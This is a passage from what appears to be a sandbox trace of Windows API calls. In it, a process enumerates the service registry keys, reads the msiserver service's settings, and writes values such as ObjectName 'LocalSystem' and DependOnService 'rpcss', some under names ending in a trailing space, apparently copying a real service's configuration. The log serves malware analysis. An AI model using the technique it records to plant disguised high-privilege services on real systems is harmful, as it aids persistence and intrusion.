lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0260.867] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0260.868] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0260.869] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0260.870] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0260.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0260.870] RegCloseKey (hKey=0x15c) returned 0x0 [0260.870] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.870] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.870] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.870] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0260.871] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.871] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0260.871] RegCloseKey (hKey=0xc8) returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.871] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0260.872] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0260.872] RegCloseKey (hKey=0x15c) returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.872] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.872] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.872] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.873] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.873] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1de8298*, cbData=0x195 | out: lpData=0x1de8298*) returned 0x0 [0260.873] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de8298) returned 1 [0260.874] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x1de5d90*, cbData=0x6b | out: lpData=0x1de5d90*) returned 0x0 [0260.874] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.874] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.875] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.875] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a38) returned 1 [0260.875] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.875] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a38) returned 1 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.875] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.876] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.876] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0260.876] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.876] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 